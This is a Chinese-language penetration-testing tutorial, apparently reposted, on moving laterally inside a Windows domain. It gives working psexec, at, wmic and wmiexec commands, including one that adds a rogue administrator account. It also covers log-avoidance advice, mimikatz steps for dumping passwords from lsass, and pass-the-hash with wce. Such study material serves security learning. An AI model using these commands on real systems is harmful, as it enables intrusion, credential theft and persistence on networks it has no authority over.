域滲透基礎(二)


(該文參考整理自網上文章,相關鏈接附於文末)

遠程命令執行

PSEXEC

psexec是pstools工具包中的一個工具,可在微軟官網直接下載。是輕型的 telnet 替代工具,它使您無需手動安裝客戶端軟件即可執行其他系統上的進程,並且可以獲得與控制台應用程序相當的完全交互性。PsExec 最強大的功能之一是在遠程系統和遠程支持工具(如 IpConfig)中啟動交互式命令提示窗口,以便顯示無法通過其他方式顯示的有關遠程系統的信息。

psexec針對遠程建立連接的認證方式有兩種,一種先建立ipc連接,然后直接用psexec \\192.168.1.2 cmd命令開啟一個半交互式的cmdshell,另一種是在psexec的參數中指定賬號密碼。

執行原理

1、通過ipc$連接,釋放psexesvc.exe到目標。
2、通過服務管理SCManager遠程創建psexecsvc服務,並啟動服務。
3、客戶端連接執行命令,服務端啟動相應的程序並執行回顯數據。

(運行完后刪除服務。這個在windows的日志中有詳細的記錄,另外psexec在少數情況下會出現服務沒刪除成功的bug,所以一般來講不太推薦在滲透時使用psexec,可用wmic,wmiexec等)

常用命令

獲取管理員用戶權限的交互式 shell

psexec \\192.168.17.138 -Administrator -p pass cmd

獲取普通用戶權限的交互式 shell,要想獲取管理員權限 shell ,需要添加-h 參數。

psexec \\192.168.17.138 -u test -p pass cmd

在遠程系統上以 system 權限執行單條命令,有時回顯只有一行,原因尚不清楚。

psexec \\192.168.17.138 -Administrator -p pass -s cmd /c "quser"

在遠程系統上執行 bat 腳本

psexec \\192.168.17.138 -Administrator -p pass c:\programdata\test.bat

拷貝文件到遠程機器並以交互方式運行,運行結束后會刪除

psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe

其它參數

–accepteula 第一次運行會彈框,輸入這個參數便不會彈框
s 以 “nt authority\system” 權限運行遠程進程
h 如果可以,以管理員權限運行遠程進程
d 不等待程序執行完就返回,請只對非交互式應用程序使用此選項
\\ip 可以替換成 @ip.txt (存放多個 ip 的文本),可以批量執行命令

工具說明

需要遠程系統開啟 ADMIN$ 共享
建立 ipc 連接后可以不指定用戶名和密碼
不能僅拷貝文件不執行,只需要拷貝時可以建立 ipc 連接后c opy
在啟動psExec建立連接之后,遠程系統上會被安裝一個服務:PSEXESVC。安裝服務會留下日志,而且psexec退出時有可能服務刪除失敗,所以不推薦使用psexec

 

net use+at

建立一個ipc連接

net use \\192.168.17.138\C$ "pass" /u:"workgroup\Administrator"

拷貝文件到遠程系統上

copy s.exe \\192.168.17.138\c$\RECYCLER\

查看遠程主機當前時間

net time \\192.168.17.138

添加計划任務在遠程系統上執行命令

at \\192.168.17.138 15:18 cmd.exe /"ipconfig /all >c:\programdata\error.log"

添加計划任務在遠程系統上執行bat腳本

at \\192.168.17.138 15:18 c:\programdata\test.bat

查看at任務列表

at \\192.168.17.138

刪除at計划任務,運行完成后一定要刪除計划任務!

at \\192.168.17.138 1 /delete

查看所有ipc連接

net use

刪除指定ipc連接

net use \\192.168.17.138\C$ /del

刪除所有ipc連接(刪除前記得確認是否都是自己測試中建立的連接)

net use * /del /y

 

WMIC

WMI 的全稱是 Windows Management Instrumentation,它出現在所有的 Windows操作系統中,並由一組強大的工具集合組成,用於管理本地或遠程的 Windows 系統,攻擊者使用 wmi 來進行攻擊,但 Windows 系統默認不會在日志中記錄這些操作,可以做到無日志,攻擊腳本無需寫入到磁盤,增加了隱蔽性。推薦使用 wmic 進行遠程執行命令。

常用命令

在遠程系統上執行 bat 腳本

wmic /node:192.168.17.138 /user:test /password:pass process call create c:\programdata\test.bat

在遠程系統上執行單條命令

wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

工具說明

1、需要遠程系統啟動 Windows Management Instrumentation 服務,開放135端口
2、遠程系統的本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
3、wmic 會以管理員權限在遠程系統上執行命令
4、防火牆開啟將無法連接
5、如果報錯 “Invalid Global Switch” ,用雙引號把包含-的結點括起來即可正常執行。

 

WMIEXEC

WMI 可以遠程執行命令,大牛使用VBS腳本調用WMI來模擬 psexec 的功能,於是乎WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也能夠使用。整個過程是先調用WMI通過賬號密碼或者NTLM認證(WCE注入)連接到遠程計算機,然后如果提供了賬號密碼,則用這個賬號密碼建立一個到目標的IPC連接。隨后WMI會建立一個共享文件夾,用於遠程讀取命令執行結果。 當用戶輸入命令時,WMI創建進程執行該命令,然后把結果輸出到文件,這個文件位於之前創建的共享文件夾中。最后,通過FSO組件訪問遠程共享文件夾中的結果文件,將結果輸出。當結果讀取完成時,調用WMI執行命令刪除結果文件。最后當WMIEXEC退出時,刪除文件共享。

常用命令

獲取半交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password

在遠程系統上執行單條命令

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"

在遠程系統上執行 bat 腳本

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:\programdata\test.bat

 

上面是提供賬號密碼的情況,如果有時候我們抓取到的是hash,破解不了時可以利用WCE的hash注入,然后再執行WMIEXEC(不提供賬號密碼)就可以了。

 

Tips:如果抓取的LM hash是AAD3開頭的,或者是No Password之類的,就用32個0代替LM hash即可。

 

其它參數

-wait5000 表示這個命令等待5s后再讀取結果,用於運行“運行時間長”的命令

(由於WMI只負責創建進程,沒有辦法可以判斷命令是否執行完畢,所以腳本采用的方法是延遲1200ms后讀取結果文件,但是如果命令執行的時間大於1200ms,比如systeminfo 或者ping之類的,這時候讀取結果文件會導致讀取的結果不完整,然后在刪除結果文件時會出錯。比如ping結果不能讀取完整,而且命令執行完后目標服務器上的wmi.dll結果文件並沒有被刪除!為了防止出現這種情況,於是在shell模式里面加入了-waitTIME選項,TIME是要等待的時間。當執行的命令后面跟上-wait5000時,表示這個命令等待5s后再讀取結果。)

-persist 程序會在后台運行,不會有結果輸出

(由於正常的命令都要查看結果,所以執行的命令后面都會加上重定向符,把結果輸出到文件中。 所以用這個執行木馬會有問題,因為木馬進程會一直存在,導致結果文件被占用,不能刪除,也不能改寫,如果執行不帶任何參數的nc.exe也是這種效果 出現這種情況后由於結果文件被占用,所以WMIEXEC不能工作,除非手動更改腳本中的結果文件名。或者可以用taskkill 遠程結束掉卡死的進程,然后WMIEXEC可以恢復工作。 為了解決這個問題,加入了-persist選項。 當命令加了persist選項后,程序會在后台運行,不會有結果輸出,而且會返回這個命令進程的PID,方便結束進程。 這樣就可以運行nc或者木馬程序了)

下面這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時
間的,可以自行更改。

Const Path = "C:\"

Const FileName = "wmi.dll"

Const timeOut = 1200

工具說明

需要遠程系統啟動 Windows Management Instrumentation 服務,開放135端口
遠程系統的本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
wmicexec.vbs 會以管理員權限在遠程系統上執行命令
virustotal 顯示 wmiexec.vbs 會被 Kaspersky、Symantec 和 ZoneAlarm查殺

 

mimikatz

mimikatz是一款功能強大的輕量級調試神器,通過它你可以提升進程權限注入進程讀取進程內存,當然他最大的亮點是他可以直接從 lsass中獲取當前處於Active系統的登錄密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用后,對其使用可逆的算法進行加密並存儲在內存之中, 而mimikatz正是通過對lsass的逆算獲取到明文密碼!也就是說只要你不重啟電腦,就可以通過他獲取到登陸密碼,只限當前登陸系統!

命令

  • cls—————————–清屏
  • exit—————————-退出
  • version————查看mimikatz的版本
  • system::user—–查看當前登錄的系統用戶
  • system::computer——-查看計算機名稱
  • process::list——————列出進程
  • process::suspend 進程名稱 —–暫停進程
  • process::stop 進程名稱———結束進程
  • process::modules –列出系統的核心模塊及所在位置
  • service::list—————列出系統的服務
  • service::remove———–移除系統的服務
  • service::start stop 服務名稱–啟動或停止服務
  • privilege::list—————列出權限列表
  • privilege::enable——–激活一個或多個權限
  • privilege::debug—————–提升權限
  • nogpo::cmd————打開系統的cmd.exe
  • nogpo::regedit ———–打開系統的注冊表
  • nogpo::taskmgr————-打開任務管理器
  • ts::sessions—————–顯示當前的會話
  • ts::processes——顯示進程和對應的pid情況等
  • sekurlsa::wdigest—–獲取本地用戶信息及密碼
  • sekurlsa::tspkg——獲取tspkg用戶信息及密碼
  • sekurlsa::logonPasswords–獲登陸用戶信息及密碼

獲取windows 登陸密碼

第一步:根據你系統選擇對應的版本,雙擊打開

第二步:輸入輸入privilege::debug 提升權限

第三步:輸入inject::process lsass.exe sekurlsa.dll 將sekurlsa.dll 注入到lsass.exe 中

第四步:輸入sekurlsa::logonPasswords full 即可獲取hash和當前用戶的明文密碼

 

哈希傳遞攻擊(Pass The Hash,PTH)

如果內網主機的本地管理員賬戶密碼相同,那么可以通過pass the hash遠程登錄到任意一台主機,操作簡單、威力無窮。

在域環境中,利用pass the hash的滲透方式往往是這樣的:

  1. 獲得一台域主機的權限
  2. Dump內存獲得用戶hash
  3. 通過pass the hash嘗試登錄其他主機
  4. 繼續搜集hash並嘗試遠程登錄
  5. 直到獲得域管理員賬戶hash,登錄域控,最終成功控制整個域

原理

  • 在Windows系統中,通常會使用NTLM身份認證
  • NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser)
  • hash分為LM hash和NT hash,如果密碼長度大於15,那么無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash
  • 如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)

 

使用wce進行hash注入

在內網滲透時,很經常會碰到好不容易提取出了hash,但是無法破解。

wce號稱內網滲透神器,其中有一個功能就是hash注入。

測試環境:

目標  windows2008 【192.168.200.128】hash如下:

測試機:

windows7【192.168.200.5】

在無法破解192.168.200.128的administrator密碼時,我們可以采用hash注入

先dir目標的c$(前提是目標有開啟C盤共享)

會提示賬號密碼錯誤。

使用wce

 

格式:
wce.exe -s 賬號:主機名或域的名字:LM:NTLM

 

提示注入完成。

再dir目標機器的C盤試試

 

 

 

參考:

遠程命令執行 wmiexec

利用WMI代替psexec——WMIEXEC.vbs

法國神器直接獲取windows登陸密碼

域滲透——Pass The Hash的實現

域滲透——Pass The Hash & Pass The Key – 三好學生

如何使用wce進行hash注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM